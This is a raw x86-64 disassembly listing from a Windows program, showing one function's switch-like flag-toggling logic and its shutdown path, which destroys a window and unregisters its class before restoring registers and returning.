je 0x14005dcd8
test r9b, r9b
jmp 0x14005dcc8
cmp eax, 2
jne 0x14005dc59
test cl, cl
je 0x14005dcd8
test r10b, r10b
jmp 0x14005dcc8
cmp eax, 3
jne 0x14005dc67
test dl, dl
je 0x14005dcd8
test r11b, r11b
jmp 0x14005dcc8
cmp eax, 4
jne 0x14005dc75
test r8b, r8b
je 0x14005dcd8
test bl, bl
jmp 0x14005dcc8
cmp eax, 5
jne 0x14005dc86
cmp byte [rsp + 0x64], 0
je 0x14005dcd8
test dil, dil
jmp 0x14005dcc8
cmp eax, 6
jne 0x14005dc97
cmp byte [rsp + 0x65], 0
je 0x14005dcd8
test sil, sil
jmp 0x14005dcc8
cmp eax, 7
jne 0x14005dca8
cmp byte [rsp + 0x66], 0
je 0x14005dcd8
test r14b, r14b
jmp 0x14005dcc8
cmp eax, 8
jne 0x14005dcb9
cmp byte [rsp + 0x67], 0
je 0x14005dcd8
test r15b, r15b
jmp 0x14005dcc8
cmp eax, 9
jne 0x14005dcd8
cmp byte [rsp + 0x63], 0
je 0x14005dcd8
test r12b, r12b
jne 0x14005dcd8
cmp byte [0x1403e0abf], 0
sete byte [0x1403e0abf]
mov eax, dword [0x1403e09d0]
cmp eax, 1
jne 0x14005dcff
test r13b, r13b
je 0x14005dd5c
test r9b, r9b
jne 0x14005dd5c
cmp byte [0x1403e0a8f], 0
sete al
mov byte [0x1403e0a8f], al
jmp 0x14005dd63
cmp eax, 2
jne 0x14005dd0d
test cl, cl
je 0x14005dd5c
test r10b, r10b
jmp 0x14005dceb
cmp eax, 3
jne 0x14005dd1b
test dl, dl
je 0x14005dd5c
test r11b, r11b
jmp 0x14005dceb
cmp eax, 4
jne 0x14005dd29
test r8b, r8b
je 0x14005dd5c
test bl, bl
jmp 0x14005dceb
cmp eax, 5
jne 0x14005dd3a
cmp byte [rsp + 0x64], 0
je 0x14005dd5c
test dil, dil
jmp 0x14005dceb
cmp eax, 6
jne 0x14005dd4b
cmp byte [rsp + 0x65], 0
je 0x14005dd5c
test sil, sil
jmp 0x14005dceb
cmp eax, 7
jne 0x14005dd5c
cmp byte [rsp + 0x66], 0
je 0x14005dd5c
test r14b, r14b
jmp 0x14005dceb
movzx eax, byte [0x1403e0a8f]
mov edx, dword [0x1403e09e4]
cmp edx, 8
jne 0x14005dd7a
cmp byte [rsp + 0x67], 0
je 0x14005dd94
test r15b, r15b
jmp 0x14005dd89
cmp edx, 9
jne 0x14005dd94
cmp byte [rsp + 0x63], 0
je 0x14005dd94
test r12b, r12b
jne 0x14005dd94
test al, al
sete byte [0x1403e0a8f]
mov r8d, dword [0x1403e0aa4]
cmp r8d, 1
jne 0x14005ddc8
test r13b, r13b
je 0x14005de61
test r9b, r9b
jne 0x14005de61
cmp byte [0x1403e0ab6], 0
sete cl
mov byte [0x1403e0ab6], cl
jmp 0x14005de68
cmp r8d, 2
jne 0x14005dddb
test cl, cl
je 0x14005de61
test r10b, r10b
jmp 0x14005ddad
cmp r8d, 3
jne 0x14005dded
cmp byte [rsp + 0x61], 0
je 0x14005de61
test r11b, r11b
jmp 0x14005ddad
cmp r8d, 4
jne 0x14005ddfe
cmp byte [rsp + 0x62], 0
je 0x14005de61
test bl, bl
jmp 0x14005ddad
cmp r8d, 5
jne 0x14005de10
cmp byte [rsp + 0x64], 0
je 0x14005de61
test dil, dil
jmp 0x14005ddad
cmp r8d, 6
jne 0x14005de22
cmp byte [rsp + 0x65], 0
je 0x14005de61
test sil, sil
jmp 0x14005ddad
cmp r8d, 7
jne 0x14005de37
cmp byte [rsp + 0x66], 0
je 0x14005de61
test r14b, r14b
jmp 0x14005ddad
cmp r8d, 8
jne 0x14005de4c
cmp byte [rsp + 0x67], 0
je 0x14005de61
test r15b, r15b
jmp 0x14005ddad
cmp r8d, 9
jne 0x14005de61
cmp byte [rsp + 0x63], 0
je 0x14005de61
test r12b, r12b
jmp 0x14005ddad
movzx ecx, byte [0x1403e0ab6]
cmp edx, 1
jne 0x14005de97
test r13b, r13b
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r9b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 2
jne 0x14005dec5
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005dffb
test r10b, r10b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r10b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 3
jne 0x14005def6
cmp byte [rsp + 0x61], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r11b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 4
jne 0x14005df25
cmp byte [rsp + 0x62], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14005dffb
cmp byte [0x1403e0ab4], bl
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 5
jne 0x14005df56
cmp byte [rsp + 0x64], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14005dffb
cmp byte [0x1403e0ab4], dil
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 6
jne 0x14005df84
cmp byte [rsp + 0x65], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14005dffb
cmp byte [0x1403e0ab4], sil
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 7
jne 0x14005dfaa
cmp byte [rsp + 0x66], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r14b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 8
jne 0x14005dfd0
cmp byte [rsp + 0x67], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r15b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
cmp edx, 9
jne 0x14005dff6
cmp byte [rsp + 0x63], 0
je 0x14005dff6
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005dffb
cmp byte [0x1403e0ab4], r12b
sete byte [0x1403e0ab4]
jmp 0x14005dffb
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1403e09d4]
cmp eax, 1
jne 0x14005e017
test r13b, r13b
je 0x14005e0ad
test r9b, r9b
jmp 0x14005e09d
cmp eax, 2
jne 0x14005e029
test dl, dl
je 0x14005e0ad
test r10b, r10b
jmp 0x14005e09d
cmp eax, 3
jne 0x14005e03a
cmp byte [rsp + 0x61], 0
je 0x14005e0ad
test r11b, r11b
jmp 0x14005e09d
cmp eax, 4
jne 0x14005e04a
cmp byte [rsp + 0x62], 0
je 0x14005e0ad
test bl, bl
jmp 0x14005e09d
cmp eax, 5
jne 0x14005e05b
cmp byte [rsp + 0x64], 0
je 0x14005e0ad
test dil, dil
jmp 0x14005e09d
cmp eax, 6
jne 0x14005e06c
cmp byte [rsp + 0x65], 0
je 0x14005e0ad
test sil, sil
jmp 0x14005e09d
cmp eax, 7
jne 0x14005e07d
cmp byte [rsp + 0x66], 0
je 0x14005e0ad
test r14b, r14b
jmp 0x14005e09d
cmp eax, 8
jne 0x14005e08e
cmp byte [rsp + 0x67], 0
je 0x14005e0ad
test r15b, r15b
jmp 0x14005e09d
cmp eax, 9
jne 0x14005e0ad
cmp byte [rsp + 0x63], 0
je 0x14005e0ad
test r12b, r12b
jne 0x14005e0ad
cmp byte [0x1403e0ab9], 0
sete byte [0x1403e0ab9]
mov eax, dword [0x1403e0ac8]
cmp eax, 1
jne 0x14005e0c9
test r13b, r13b
je 0x14005e178
test r9b, r9b
jmp 0x14005e168
cmp eax, 2
jne 0x14005e0de
test dl, dl
je 0x14005e178
test r10b, r10b
jmp 0x14005e168
cmp eax, 3
jne 0x14005e0f3
cmp byte [rsp + 0x61], 0
je 0x14005e178
test r11b, r11b
jmp 0x14005e168
cmp eax, 4
jne 0x14005e103
cmp byte [rsp + 0x62], 0
je 0x14005e178
test bl, bl
jmp 0x14005e168
cmp eax, 5
jne 0x14005e126
cmp byte [rsp + 0x64], 0
je 0x14005e178
test dil, dil
jne 0x14005e178
cmp byte [0x1403e0ab7], dil
sete al
mov byte [0x1403e0ab7], al
jmp 0x14005e17f
cmp eax, 6
jne 0x14005e137
cmp byte [rsp + 0x65], 0
je 0x14005e178
test sil, sil
jmp 0x14005e168
cmp eax, 7
jne 0x14005e148
cmp byte [rsp + 0x66], 0
je 0x14005e178
test r14b, r14b
jmp 0x14005e168
cmp eax, 8
jne 0x14005e159
cmp byte [rsp + 0x67], 0
je 0x14005e178
test r15b, r15b
jmp 0x14005e168
cmp eax, 9
jne 0x14005e178
cmp byte [rsp + 0x63], 0
je 0x14005e178
test r12b, r12b
jne 0x14005e178
cmp byte [0x1403e0abd], 0
sete byte [0x1403e0abd]
movzx eax, byte [0x1403e0ab7]
mov edx, dword [0x1403e0ab0]
cmp edx, 1
jne 0x14005e1af
test r13b, r13b
je 0x14005e2df
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005e2e4
test al, al
sete byte [0x1403e0ab7]
jmp 0x14005e2e4
cmp edx, 2
jne 0x14005e1d8
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005e2e4
test r10b, r10b
jne 0x14005e2e4
test al, al
sete byte [0x1403e0ab7]
jmp 0x14005e2e4
cmp edx, 3
jne 0x14005e204
cmp byte [rsp + 0x61], 0
je 0x14005e2df
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005e2e4
cmp edx, 4
jne 0x14005e22f
cmp byte [rsp + 0x62], 0
je 0x14005e2df
cmp edx, 5
jne 0x14005e25b
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1403e09d8]
cmp eax, 1
jne 0x14005e319
call fcn.1400481c0
call fcn.140048510
xor ecx, ecx
call fcn.140006c70
call fcn.140062ae0
mov rcx, qword [0x1403e0a78]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2d50]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2d60]
movaps xmm13, xmmword [rsp + 0x2d70]
movaps xmm12, xmmword [rsp + 0x2d80]
movaps xmm11, xmmword [rsp + 0x2d90]
movaps xmm10, xmmword [rsp + 0x2da0]
movaps xmm9, xmmword [rsp + 0x2db0]
movaps xmm8, xmmword [rsp + 0x2dc0]
movaps xmm7, xmmword [rsp + 0x2dd0]
movaps xmm6, xmmword [rsp + 0x2de0]
mov r13, qword [rsp + 0x2df8]
mov r12, qword [rsp + 0x2e00]
mov rdi, qword [rsp + 0x2e30]
mov rsi, qword [rsp + 0x2e28]
mov rbx, qword [rsp + 0x2e20]
mov r14, qword [rsp + 0x2df0]
add rsp, 0x2e08
pop r15
pop rbp
ret